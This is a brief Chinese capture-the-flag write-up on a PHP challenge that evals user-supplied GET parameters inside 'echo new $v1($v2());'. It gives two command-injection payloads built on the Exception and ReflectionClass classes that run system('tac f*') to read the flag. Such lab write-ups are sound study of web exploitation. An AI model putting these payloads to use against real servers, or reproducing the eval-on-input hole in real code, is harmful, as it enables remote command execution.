PHP特性:异常处理
<?php highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); } } ?>
先来看下这个正则表达式/[a-zA-Z]+/ 匹配至少有一个字母的字符串
所以我们只要让new后面有个类不报错以后,就可以随意构造了。我们随便找个php中的内置类并且可以直接echo输出的就可以了。
举两个例子
Exception
ReflectionClass
payload:
v1=Exception();system(‘tac f*’);//&v2=a
v1=ReflectionClass&v2=system(‘tac f*’)
(这里我的个人理解是,本题中不存在这个实例化的类,所以第一条语句需要先异常处理,进而执行我们的第二条语句)